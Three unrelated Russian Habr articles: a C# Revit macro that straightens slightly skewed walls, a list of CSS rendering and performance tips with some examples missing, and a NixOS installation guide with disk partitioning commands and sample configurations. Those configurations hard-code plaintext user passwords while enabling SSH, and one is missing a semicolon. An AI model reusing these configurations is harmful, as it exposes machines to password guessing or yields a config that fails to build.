Автодеск сделал стены разными, но пришли проектировщики и начертили стены под углом 0,045 и 89,915 градусов. Поэтому не ставятся размеры между стенами. Так продолжалось долго, но теперь появился Великий Макрос Уравнитель, он вернет стенам углы в 0,000 и 90,000 градусов.
Макрос поправляет стены, у которые начерчены с погрешностью до 1,2 градуса относительно параллели или перпендикуляра к выбранному образцу стены.
Алгоритм работы следующий: пользователь запускает макрос, выбирает неровные стены по одной штуке или рамкой, потом выбирает стену образец, относительно которой ровняются выбранные стены. Таким образом ровняются только стены, которые почти параллельны или перпендикуляны образцу. Стены с относительным углом к образцу в 35, 45, 75 и т.д. не затрагиваются. Их нужно ровнять относительно другого образца.
Макросы доступны всем! Каждый может легко установить макрос в Ревит.
**Установка макроса в 5 шагов**:
**1.** Открываем в Ревит какой-либо проект. Запускаем инструмент **"Управление (Manage)"** -> **"Макросы (Macros)"** -> **"Диспетчер макросов (MacroManager)"**.
**2.** В окне **"Диспетчер макросов"** переходим во вкладку **"Приложение (Application)"**, далее **"Создать (Create)"** -> **"Модуль (Module)"**.
**3.** В диалоговом окне **"Создание нового модуля (Create a New Module)"** задаем имя модуля **"Wall\_Equalizer"**. После этого сразу же откроется окно программы "SharpDevelop" с нашим модулем. Самое главное сделано!
**4.** Переходим работать в программу "SharpDevelop". В главном окне удаляем весь текст и вставляем код макроса, который можно скопировать ниже.
**5.** Когда вставим код макроса, нажимаем **F9**.
```
/*
* Created by SharpDevelop.
* User: Alexandr Akunets
* Date: 1/30/2018
* Time: 9:50 AM
*
* version 1.000
*
* To change this template use Tools | Options | Coding | Edit Standard Headers.
*/
using System;
using Autodesk.Revit.UI;
using Autodesk.Revit.DB;
using Autodesk.Revit.UI.Selection;
using System.Collections.Generic;
using System.Linq;
namespace Wall_Equalizer
{
[Autodesk.Revit.Attributes.Transaction(Autodesk.Revit.Attributes.TransactionMode.Manual)]
[Autodesk.Revit.DB.Macros.AddInId("31DDFC5C-59FF-416B-8482-49568A640EE5")]
public partial class ThisApplication
{
private void Module_Startup(object sender, EventArgs e)
{
}
private void Module_Shutdown(object sender, EventArgs e)
{
}
public void WallEqualizer ()
{
var uiapp = this.ActiveUIDocument;
var doc = uiapp.Document;
//Dictionary elms = new Dictionary();
//var wallist = new FilteredElementCollector(doc, doc.ActiveView.Id).OfCategory(BuiltInCategory.OST\_Walls).ToElements();
List wallist = new List();
var rs = uiapp.Selection.PickObjects (ObjectType.Element, new PickFilter(BuiltInCategory.OST\_Walls), "Select wrong walls");
foreach(var w in rs)
{
var e = doc.GetElement(w.ElementId) as Wall;
wallist.Add(e);
}
var r = uiapp.Selection.PickObject (ObjectType.Element, new PickFilter(BuiltInCategory.OST\_Walls), "Select wall - sample");
Wall selwall = doc.GetElement(r.ElementId) as Wall;
Line line = GetLine(selwall);
try
{
foreach(Element el in wallist)
{
using (Transaction t = new Transaction(doc, "r"))
{
t.Start();
var wLine = GetLine(el);
if(wLine != null)
{
var wcos = (line.Direction.X \* wLine.Direction.X + line.Direction.Y \* wLine.Direction.Y);
var angleR = Math.Acos (wcos);
if (el.Id.IntegerValue != r.ElementId.IntegerValue)
{
BustEquiizer90(el, line, angleR );
BustEquiizer0(el, line, angleR );
}
}
t.Commit();
}
}
}
catch(Exception ex)
{
if ( (ex is Autodesk.Revit.Exceptions.ArgumentsInconsistentException) == false)
{
TaskDialog.Show("Error", ex.Message + ex.StackTrace);
}
}
}
private void BustEquiizer90(Element el, Line line, double angleR)
{
var angle = RadiansToDegrees( angleR );
if ( Math.Abs(angle - 90) > 0.0000001 && Math.Abs(angle - 90) < 1.2)
{
Equalizer(el, -(DegreesToRadians(90) - angleR));
var wLine = GetLine(el);
var wcos = (line.Direction.X \* wLine.Direction.X + line.Direction.Y \* wLine.Direction.Y);
angleR = Math.Acos (wcos);
angle = RadiansToDegrees( angleR );
if ( Math.Abs(angle - 90) > 0.0000001 && Math.Abs(angle - 90) < 2.4)
{
Equalizer(el, (DegreesToRadians(90) - angleR));
}
}
}
private void BustEquiizer0(Element el, Line line, double angleR)
{
var angle = RadiansToDegrees( angleR );
if ( (Math.Abs(angle) > 0.0000001 && Math.Abs(angle) < 1.2) ||
Math.Abs(angle -180) > 0.0000001 && Math.Abs(angle -180) < 2.4)
{
Equalizer(el, -angleR);
var wLine = GetLine(el);
var wcos = (line.Direction.X \* wLine.Direction.X + line.Direction.Y \* wLine.Direction.Y);
angleR = Math.Acos (wcos);
angle = RadiansToDegrees( angleR );
if ( Math.Abs(angle) > 0.0000001 && Math.Abs(angle) < 2.4 ||
Math.Abs(angle -180) > 0.0000001 && Math.Abs(angle -180) < 2.4)
{
Equalizer(el, -angleR);
wLine = GetLine(el);
wcos = (line.Direction.X \* wLine.Direction.X + line.Direction.Y \* wLine.Direction.Y);
angleR = Math.Acos (wcos);
angle = RadiansToDegrees( angleR );
if ( Math.Abs(angle) > 0.0000001 && Math.Abs(angle) < 5 ||
Math.Abs(angle -180) > 0.0000001 && Math.Abs(angle -180) < 5)
{
Equalizer(el, angleR);
}
}
}
}
private void Equalizer(Element el, double angle)
{
LocationCurve wLine = el.Location as LocationCurve;
var mid = Midpoint(wLine.Curve);
Line axis = Line.CreateBound(mid, new XYZ( mid.X, mid.Y, mid.Z + 1));
ElementTransformUtils.RotateElement( this.ActiveUIDocument.Document, el.Id, axis, angle);
}
private Line GetLine(Element el){
var selCurve = (el.Location as LocationCurve).Curve;
if( selCurve is Line)
{
XYZ p0 = new XYZ(selCurve.GetEndPoint(0).X, selCurve.GetEndPoint(0).Y, 0);
XYZ p1 = new XYZ(selCurve.GetEndPoint(1).X, selCurve.GetEndPoint(1).Y, 0);
Line line = Line.CreateBound (p0, p1);
return line;
}
else return null;
}
public static double RadiansToDegrees(double angle)
{
return (angle \* 180 / Math.PI);
}
public static double DegreesToRadians(double angle)
{
return (angle \* Math.PI / 180);
}
public static XYZ Midpoint(Curve curve)
{
return 0.5 \* (curve.GetEndPoint(0) + curve.GetEndPoint(1));
}
#region Revit Macros generated code
private void InternalStartup()
{
this.Startup += new System.EventHandler(Module\_Startup);
this.Shutdown += new System.EventHandler(Module\_Shutdown);
}
#endregion
}
public class PickFilter : ISelectionFilter
{
//BuiltInCategory SelectionCategory { get; set; }
BuiltInCategory [] SelCats;
/\*
public PickFilter(BuiltInCategory cat)
{
SelCats = new BuiltInCategory[] { cat };
}
\*/
public PickFilter(params BuiltInCategory[] cat)
{
SelCats = cat;
}
public bool AllowElement (Element elem)
{
foreach(BuiltInCategory cat in SelCats)
{
if (elem.Category.Id.IntegerValue == (int)cat)
return true;
}
return false;
}
public bool AllowReference (Reference r, XYZ p)
{
return false;
}
}
}
```
Если не будет ошибок и появится сообщение **"Построение произошло успешно (Build finished successfully)"**, макрос установлен правильно. Если будут ошибки, тогда перечитываем инструкцию и делаем все заново. В завершении работы закрываем программу "SharpDevelop" и возвращаемся в Ревит.
**Работа с макросом:**
Снова запускаем **"Диспетчер макросов"**, переходим во вкладку **"Приложение"**, разворачиваем макрос **"Wall\_Equalizer"**, выбираем опцию макроса **"Wall\_Equalizer"** и нажимаем кнопку **"Выполнить (Run)"**. Макрос запущен.
**Алгоритм работы макроса:**
**1.** Выбираем стены, которые необходимо выровнять, по одной или рамкой. Не выбирайте слишком много стен. Оптимальное число стен около 50. Когда выбор стен будет завершен, нажмите "Готово (Finish)" в панели параметров (Option Bar).
**2.** Выбираем стену, которая начерчена ровно и может послужить образцом.
**3.** Получаем результат.
Помните, макрос **не может** обработать стены, которые располагаются в группах. Если вы хотите выровнять стены, находящиеся в группах, вам перед запуском макроса нужно разгруппировать такие стены. | https://habr.com/ru/post/352948/ | null | ru | null |
# Чего мне никогда не говорили о CSS
*Фото [Джантин Дурнбос](https://unsplash.com/photos/xt9tb6oa42o) на [Unsplash](https://unsplash.com/search/photos/css)*
*Это ни в коем случае не критика коллег, а всего лишь краткий список важных вещей, которые я самостоятельно узнала о CSS в последнее время.*
Не секрет, что многие разработчики, похоже, не думают о CSS. Это легко заметить по обсуждениям в интернете и в разговорах с друзьями и коллегами. Тем не менее, многие знания мы получаем именно от коллег, и иногда я понимаю, что о некоторых важных нюансах CSS мне никто не рассказал, потому что люди просто не тратят время на изучение этой темы.
Чтобы исправить это, я провела некоторые исследования и составила небольшой список понятий, которые считаю интересными и полезными для лучшего понимания и написания CSS.
*Этот список определённо не исчерпывающий. Он содержит только новое, что я узнала за последние несколько дней и чем хочу поделиться, вдруг это поможет кому-то ещё.*
Терминология
============
Как и в любом языке программирования, для описания понятий используются определённые термины. Будучи языком программирования, CSS ничем не отличается, поэтому важно изучение некоторой терминологии, чтобы упростить общение и просто для личного развития.
### Комбинатор потомков
Видели пробел между селекторами в вашем стиле? На самом деле у него есть название, это **комбинатор потомков** (descendant combinator).
*Комбинатор потомков*
### Макет, отрисовка и композиция
Эти термины имеют отношение к рендерингу в браузере, но они важны, потому что некоторые свойства CSS влияют на различные шаги конвейера рендеринга.
#### 1. Макет (layout)
Шаг макетирования — это расчёт, сколько места элемент занимает на экране. Изменение свойства 'layout' в CSS (например, ширина, высота) означает, что браузеру придётся проверить все остальные элементы и перерисовать страницу, то есть перекрасить затронутые области и наложить их друг на друга.
#### 2. Отрисовка (paint)
Этот процесс заполняет пикселями все визуальные части элементов (цвета, границы и т. д.). Отрисовка элементов обычно выполняется на нескольких слоях.
Изменение свойства 'paint' не влияет на макет, поэтому браузер пропускает шаг макетирования, но всё равно делает отрисовку.
На отрисовку зачастую уходит больше всего времени при рендеринге.
#### 3. Композиция (composite)
Композиция — это шаг, на котором браузер должен отрисовать слои в правильном порядке. Поскольку некоторые элементы могут перекрывать друг друга, на этом этапе браузер проверяет, что элементы отображаются в указанном порядке.
Если вы измените свойство CSS, которое не затрагивает ни макет, ни отрисовку, то браузеру остаётся сделать только композицию.
Для подробной информации, какие процессы запускают различные свойства CSS, см. [триггеры CSS](https://csstriggers.com/).
Производительность CSS
======================
### Селектор потомков может дорого обойтись
В зависимости от размера вашего приложения, использование только селектора потомков без конкретных указаний может сильно ударить по ресурсам. Браузер будет проверять на соответствие каждый элемент потомка, потому что отношения не ограничиваются родителем и дочерним элементом.
Например:
*Пример селектора потомков*
Браузеру придётся оценить все ссылки на странице, прежде чем перейти к тем, которые находятся внутри нашего раздела `#nav`.
Более эффективный способ — добавить конкретный селектор `.navigation-link` на каждую ссылку внутри раздела `#nav`.
### Браузер считывает селекторы справа налево
Кажется, я должна была раньше узнать эту важную вещь, но я не знала… При парсинге CSS браузер разбирает селекторы справа налево.
Рассмотрим следующий пример:
*Браузер читает справа налево*
Шаги:
* сопоставить все на странице;
* найти все , содержащиеся в `*`;
* взять совпадения и сузить их до тех, которые содержатся в ;
* наконец, отфильтровать вышеупомянутый выбор до тех, которые содержатся в элементе с классом `.container`.
Глядя на эти шаги, мы видим, что чем более конкретным является правый селектор, тем более эффективно браузер сможет фильтровать и применять свойства CSS.
Чтобы улучшить производительность приведённого примера, мы могли бы заменить `.container ul li a`, добавив что-то вроде `.container-link-style` на самом теге .
### По возможности не изменяйте макет
Изменения некоторых свойств CSS требуют обновления всего макета.
Например, геометрические свойства `width`, `height`, `top`, `left` требуют заново рассчитать макет и обновить дерево рендеринга.
Если вы измените эти свойства на многих элементах, потребуется много времени для вычисления и обновления их положения/размера.
### Будьте осторожны со сложностью отрисовки
Некоторые свойства CSS (например, размытие) обходятся дороже других, когда дело доходит до отрисовки. Подумайте о более эффективных способах достижения того же результата.
### Дорогие свойства CSS
Некоторые свойства CSS дороже других. Это означает, что отрисовка происходит дольше.
Некоторые из дорогих свойств:
* `border-radius`
* `box-shadow`
* `filter`
* `:nth-child`
* `position: fixed`
Это не означает, что их вообще нельзя использовать, но нужно понимать, что если элемент использует некоторые из этих свойств и рендерится сотни раз, это повлияет на производительность.
Порядок (ordering)
==================
### Порядок имеет значение
Посмотрим на такой CSS:
А затем посмотрим на HTML-код:
Порядок селекторов в HTML не имеет значения, а в CSS — имеет.
---
Хороший способ оценить производительность CSS — использовать инструменты разработчика в браузере.
В Chrome или Firefox можете открыть инструменты разработчика, перейти на вкладку «Производительность» и записать, что происходит при загрузке или взаимодействии с вашей страницей.
*Скриншот вкладки «Производительность» в Chrome*
Ресурсы
=======
Исследуя тему для этой статьи, я наткнулась на некоторые действительно интересные инструменты, перечисленные ниже:
[CSS Triggers](https://csstriggers.com/) — веб-сайт, перечисляющий некоторые свойства CSS и как они влияют на производительность.
[Uncss](https://github.com/uncss/uncss) — инструмент для удаления неиспользуемых стилей из CSS.
[Css-explain](https://github.com/josh/css-explain) — небольшой инструмент, объясняющий селекторы CSS.
[Fastdom](https://github.com/wilsonpage/fastdom) — инструмент пакетных операций чтения/записи DOM для ускорения производительности макета.
Пока всё! Надеюсь, это имеет смысл! | https://habr.com/ru/post/445292/ | null | ru | null |
# Надёжная и воспроизводимая установка Linux с NixOS
[NixOS](https://nixos.org/) — это дистрибутив Linux, обеспечивающий надёжность и позволяющий легко воспроизводить состояния системы. [Знакомим](https://www.adaltas.com/en/2022/02/01/nix-introduction/) с Nix и развёртыванием NixOS на вашей машине к старту [курса по Fullstack-разработке на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_250322&utm_term=lead).
---
Расскажем, как работает NixOS, как его получить и установить, а также как Nix обеспечивает надёжность. Ваша машина загрузится с работающей системой NixOS, и вы узнаете, как взаимодействуют NixOS, пакетный менеджер Nix, и Home Manager.
### Что такое NixOS?
NixOS — это дистрибутив Linux на основе Nix — функционального менеджера пакетов, язык которого навеян функциональным программированием. NixOS использует возможности пакетного менеджера Nix и применяет их ко всей системе. Это означает, что, среди прочего, он позволяет без труда вернуть все параметры системы к предыдущему состоянию. Помимо системы под управлением NixOS Home Manager контролирует пользовательскую среду.
### Почему NixOS?
NixOS применяет базовые принципы Nix ко всей системе. Это означает:
* Воспроизводимость системы. В зависимости от спецификации системы (в файле конфигурации NixOS) можно воспроизвести всю систему (кроме изменяемого состояния: содержимого баз данных и т. д.) на другой машине.
* Атомарные обновления и откаты. Изменения на уровне системы или пакета всегда обратимы.
* Управление зависимостями. NixOS использует систему управления пакетами Nix. Nix следит за тем, чтобы при установке пакета выполнялось объявление зависимостей. Поскольку Nix хранит пакеты изолированно друг от друга, то на одной машине допустимо нескольких версий одного и того же пакета. Таким образом, разные пакеты могут пользоваться разными версиями одной и той же зависимости. Такое управление зависимостями не ведёт к появлению приложений гигантского размера, как это случается с Flatpack.
### Установка NixOS
Процесс установки демонстрируется на ноутбуке Dell Precision 5520 с твердотельным накопителем (SSD) 1 ТБ и 32 ГБ оперативной памяти. Инструкции ниже применимы к любой машине, будь то компьютер разработчика, ноутбук или виртуальная машина.
#### Получение ISO-образа NixOS
ISO-образ NixOS можно скачатьсо страницы [загрузки](https://nixos.org/download.html) NixOS. Этот файл доступен в двух вариациях:
* Графический ISO-образ — самый простой вариант. С этим образом установка гораздо проще, поскольку в него изначально заложен необходимый и полностью готовый графический интерфейс и подключение к сети.
* Минималистичный по содержимому и не графический ISO-образ. Из плюсов можно назвать меньший размер файла. Но его недостаток в том, что файл требует подготовки перед установкой. Почитать подробнее о [настройке](https://nixos.org/manual/nixos/stable/index.html#sec-installation-booting-networking) сетевого подключения в установщике.
Чтобы скачать необходимые зависимости, до начала установки необходимо настроить сетевое подключение.
Я выполняю установку графического ISO-образа со [средой](https://www.gnome.org/) рабочего стола Gnome. Размер файла сравнительно небольшой — около 2 ГБ.
#### Загрузка установщика
Для создания загрузочного USB-устройства используется образ диска .iso. Процесс создания описывается в [официальной](https://nixos.org/manual/nixos/stable/index.html#sec-booting-from-usb) документации по NixOS. Можно почитать [документацию по Ubuntu](https://ubuntu.com/tutorials/install-ubuntu-desktop#1-overview) — там рассказывается, как с помощью [balenaEtcher](https://www.balena.io/etcher/) сделать загрузку удобнее для пользователя.
По завершении перезагрузите машину и запустите файл с USB-устройства. На экране появится графический интерфейс, через который будет проводиться установка и настройка NixOS. На первом экране предлагается несколько вариантов установщика. Выберите первый. Через несколько секунд вы получаете уже запущенный и функционирующий Gnome из USB-системы. Откройте новый терминал.
#### Создание разделов
Установщик NixOS не создаёт разделы и не выполняет форматирование. За это отвечает пользователь. Для выполнения данной операции необходимо знать имя жёсткого диска. Команда ниже позволит узнать, как обращаться к жёсткому диску:
```
lsblk -p
```
В нашем случае имя жёсткого диска — /dev/nvme0n1. Но для разных типов диска (SATA, SSD, NVMe и т. д.) значения могут различаться (например, /dev/sda). Последующие команды в статье выполняются для диска с именем /dev/nvme0n1.
Разобравшись с именем диска, можно переходить к созданию разделов. В нашем примере один раздел целиком выделен под операционную систему. Гибернация при перезагрузке сохраняет [состояние](https://wiki.archlinux.org/title/Power_management/Suspend_and_hibernate) системы на диске в раздел подкачки (или область свопинга). Получается, нам нужно будет создать [раздел](https://opensource.com/article/18/9/swap-space-linux-systems) подкачки. Не рекомендуется включать гибернацию на системе с большими ресурсами оперативной памяти (например, сервер). Если вы решите включить гибернацию, то установите размер подкачки в 1,5 раза больше объёма ОЗУ.
В качестве метода загрузки берётся схема выделения разделов UEFI. Раздел подкачки использует 50 ГБ. Для наглядности также представлена схема выделения разделов MBR (главной загрузочной записи).
В терминале зайдите как root с sudo su --. Для создания раздела диска одинаково подходят и fdisk, и Parted.
* Пример схемы выделения разделов в NixOS для /dev/nvme0n1 с UEFI:
```
# Enter fdisk
fdisk /dev/nvme0n1
# Partition 1
g # Create a new empty GTP partition table
n # Create a new partition
1 # First partition
(default) # First sector
+512M # 512 MB
t # Change the partition type
1 # Select the first partition
1 # Use EFI System Partition, or ESP.
# Partition 2
n # Create a new partition
2 # Second partition
(default) # First sector start at the end of first partition
-50G # All disk minus 50G for swap
# Partition 3
n # Create a new partition
3 # Third partition
(default) # First sector start at the end of second partition
(default) # Last sector is the end of the disk
t # Change the partition type
3 # Select the third partition
19 # Use Linux swap
# Finalize
v # Check the settings
w # Write and quit
```
* Другой пример выделения разделов в NixOS для /dev/nvme0n1 с MBR:
```
parted /dev/nvme0n1 -- mklabel msdos
parted /dev/nvme0n1 -- mkpart primary 1MiB -50GiB
parted /dev/nvme0n1 -- mkpart primary linux-swap -50GiB 100%
```
#### Форматирование
Освежим в памяти: в нашей статье NixOS устанавливается на диск /dev/nvme0n1 disk. /dev/nvme0n1p2 — это корневой раздел системы Linux, а /dev/nvme0n1p3 — это раздел подкачки.
Цель этого шага — форматировать разделы, активировать раздел подкачки и собрать целевую файловую систему для установки NixOS. Ниже представлены команды для режимов загрузки UEFI и MBR (Legacy).
* для UEFI:
```
# Disk format
mkfs.ext4 -L nixos /dev/nvme0n1p2
mkswap -L swap /dev/nvme0n1p3
mkfs.fat -F 32 -n boot /dev/nvme0n1p1
# System mount
mount /dev/disk/by-label/nixos /mnt
swapon /dev/nvme0n1p3
mkdir -p /mnt/boot
mount /dev/disk/by-label/boot /mnt/boot
```
* для MBR:
```
mkfs.ext4 -L nixos /dev/nvme0n1p1
mkswap -L swap /dev/nvme0n1p2
mount /dev/disk/by-label/nixos /mnt
swapon /dev/nvme0n1p2
nixos-generate-config --root /mnt
```
#### Конфигурирование NixOS
Установка выполняется через файл конфигурации NixOS в /mnt/etc/nixos/configuration.nix. Чтобы сгенерировать файл конфигурации и открыть его для редактирования, выполните следующий код:
```
nixos-generate-config --root /mnt
nano /mnt/etc/nixos/configuration.nix
```
В соответствии с философией NixOS файл конфигурации должен отражать всю информацию о системе. Сюда относятся данные об устанавливаемых пакетах, запускаемых сервисах, применяемых настройках, конфигурациях сети и о многом другом. Чтобы быстрее во всём разобраться, пропишем минимальную конфигурацию и выполним её после перезагрузки системы. В будущем рекомендуется зафиксировать эту конфигурацию. Тогда при установке на новой машине можно будет клонировать конфигурацию и повторно использовать её (целиком или часть) на новой среде.
Минимальный файл конфигурации NixOS для настольной среды Gnome с режимом загрузки UEFI представлен ниже. Если вы хотите начать с более сложной системы, то дополните файл конфигурации дополнительными свойствами или воспользуйтесь подробным файлом, который можно найти в конце статьи:
```
{ config, pkgs, ... }:
{
imports =
[ # Include the results of the hardware scan.
./hardware-configuration.nix
];
# Use the systemd-boot EFI boot loader.
boot.loader.systemd-boot.enable = true;
boot.loader.efi.canTouchEfiVariables = true;
# The global useDHCP flag is deprecated, therefore explicitly set to false here.
# Per-interface useDHCP will be mandatory in the future, so this generated config
# replicates the default behaviour.
networking.useDHCP = false;
networking.interfaces.wlp2s0.useDHCP = true;
networking.networkmanager.enable = true;
# Enable the X11 windowing system.
services.xserver.enable = true;
# Enable the GNOME Desktop Environment.
services.xserver.displayManager.gdm.enable = true;
services.xserver.desktopManager.gnome.enable = true;
# Configure keymap in X11
services.xserver.layout = "fr";
# Enable sound.
sound.enable = true;
hardware.pulseaudio.enable = true;
# Enable touchpad support (enabled default in most desktopManager).
services.xserver.libinput.enable = true;
# Define a user account.
# Don't forget to set a password with ‘passwd’ using the root account if you don't use the initialPassword field.
users.users.florent = {
isNormalUser = true;
initialPassword = "secret"; # Define the user initial password
extraGroups = [ "wheel" ]; # wheel to enable ‘sudo’ for the user.
};
# List packages installed in system profile.
# To search, run: `nix search wget`
environment.systemPackages = with pkgs; [
vim
];
# Enable the OpenSSH daemon.
services.openssh.enable = true;
# This value determines the NixOS release from which the default
# settings for stateful data, like file locations and database versions
# on your system were taken. It‘s perfectly fine and recommended to leave
# this value at the release version of the first install of this system.
# Before changing this value read the documentation for this option
# (e.g. man configuration.nix or on https://nixos.org/nixos/options.html).
system.stateVersion = "21.05"; # Did you read the comment?
}
```
#### Установка
Это последний шаг перед перезагрузкой системы. Для скачивания зависимостей потребуется интернет-соединение. Установка сводится к выполнению конфигурации, которую прописывали выше. Команда для запуска установки:
```
nixos-install
```
Нужно будет ввести пароль пользователя root, после чего система готова к перезагрузке.
### Изменение конфигурации NixOS
Работающая система начинает дополняться под ваши нужды. Устанавливаются новые инструменты, запускаются сервисы, и обновляется конфигурация. Это часть жизненного цикла любой системы — будь то компьютер разработчика или рабочий сервер.
В файле конфигурации NixOS отражаются параметры системного уровня, такие настройки распространяются на всех пользователей конкретной машины. Кроме того, на уровне пользователя работает Home manager, устанавливающий приложения и конфигурацию для отдельного пользователя.
Пакет curl на системном уровне добавляется через следующую конфигурацию:
```
{ config, pkgs, ... }:
{
...
environment.systemPackages = with pkgs; [
vim # Do not forget to add an editor to edit configuration.nix! The Nano editor is also installed by default.
curl
];
...
}
```
Любое изменение в файле конфигурации NixOS ведёт к созданию новой конфигурации начальной загрузки. Команды ниже создают конфигурацию, объявленную в файле конфигурации NixOS, и делают её настройкой по умолчанию для начальной загрузки:
```
nixos-rebuild switch
```
С каждым использованием команды nixos-rebuild switch при запуске операционной системы появляется новая конфигурация начальной загрузки. Ниже приводится пример окна перезагрузки:
Команда для просмотра перечня конфигураций начальной загрузки NixOS:
```
sudo nix-env -p /nix/var/nix/profiles/system --list-generations
```
В [руководстве](https://www.adaltas.com/en/2022/02/01/nix-introduction/) по Nix можно найти самые популярные команды.
#### Что такое Home Manager?
Home Manager — это инструмент для управления пользовательской средой через диспетчера пакетов Nix. Таким образом, он дополняет NixOS. Существует 2 варианта работы с Home Manager:
* Использование самостоятельного инструмента *home-manager*.
Данный способ позволяет управлять домашней директорией пользователя независимо от совокупной системы. Необходимо поддерживать 2 файла конфигурации: один — для конфигурации на системном уровне (/etc/nixos/configuration.nix), а второй — для конфигурации на уровне пользователя (~/config/nixpkgs/home.nix). Для первого нужны права root, а последний выполняется пользователем без разрешений sudoers.
* В качестве модуля внутри файла конфигурации NixOS.
Так вы сможете управлять конфигурацией на системном и пользовательском уровнях в одном файле (/etc/nixos/configuration.nix). Для применения обновлений Home Manager потребуются root-права.
Мне проще поддерживать конфигурацию системы в одном файле. В конце концов, за моим компьютером разработчика работаю только я.
Ниже рассмотрим установку Home Manager в качестве модуля внутри системной конфигурации NixOS.
#### Home Manager в качестве модуля NixOS
Для установки Home manager в качестве модуля NixOS потребуются привилегии суперпользователя (root). В терминале зайдите как root с sudo su -. Затем следуйте этой инструкции для настройки Home Manager:
* Чтобы добавить канал Home Manager, воспользуйтесь командами ниже:
```
nix-channel --add https://github.com/nix-community/home-manager/archive/master.tar.gz home-manager
# If you follow a Nixpkgs version 21.11 channel, run nix-channel add https://github.com/nix-community/home-manager/archive/release-21.11.tar.gz home-manager instead of the command below
nix-channel --update
```
* Добавьте ` в раздел imports файла конфигурации NixOS. Теперь появится новая опция NixOS под названием home-manager.users.
Если в файл конфигурации NixOS из раздела«Создание и настройка файла конфигурации NixOS» добавить модуль Home Manager с установкой пакета python3 и настройкой дот-файл.git для пользователя florent, то получится следующее:
```
{ config, pkgs, ... }:
{
imports =
[
./hardware-configuration.nix
# To introduce the NixOS option called home-manager.users
];
boot.loader.systemd-boot.enable = true;
boot.loader.efi.canTouchEfiVariables = true;
networking.useDHCP = false;
networking.interfaces.wlp2s0.useDHCP = true;
networking.networkmanager.enable = true;
services.xserver.enable = true;
services.xserver.displayManager.gdm.enable = true;
services.xserver.desktopManager.gnome.enable = true;
services.xserver.layout = "fr";
sound.enable = true;
hardware.pulseaudio.enable = true;
services.xserver.libinput.enable = true;
users.users.florent = {
isNormalUser = true;
initialPassword = "titi" # Define the user initial password
extraGroups = [ "wheel" ]; # wheel to enable ‘sudo’ for the user.
};
# Home Manager configuration for user florent
home-manager.users.florent = { pkgs, ...}: {
# List packages to install in user profile
home.packages = [
pkgs.python3
];
# Git config for the user
programs.git = {
enable = true;
userName = "Florent";
userEmail = "florent@adaltas.com";
};
};
environment.systemPackages = with pkgs; [
vim # Do not forget to add an editor to edit configuration.nix! The Nano editor is also installed by default.
curl
];
services.openssh.enable = true;
system.stateVersion = "21.05"; # Did you read the comment?
}
```
Снова зафиксируйте изменения через nixos-rebuild switch.
### Заключение
NixOS применяет базовые принципы Nix ко всей системе, чтобы представить вам опыт полноценного взаимодействия с Nix. Nix упрощает сохранение, совместное использование и дублирование конфигурации вашей машины; он создаёт гибкий, надёжный и воспроизводимый дистрибутив Linux.
Без труда можно представить все плюсы от использования NixOS в CI/CD-средах и распредёленных кластерах. А мы поможем вам прокачать навыки или с самого начала освоить профессию, востребованную в любое время:
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_250322&utm_term=conc)
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_250322&utm_term=conc)
Выбрать другую [востребованную профессию](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_250322&utm_term=conc).
Краткий каталог курсов и профессий**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_250322&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_250322&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_250322&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_250322&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_250322&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_250322&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_250322&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_250322&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_250322&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_250322&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_250322&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_250322&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_250322&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_250322&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_250322&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_250322&utm_term=cat)
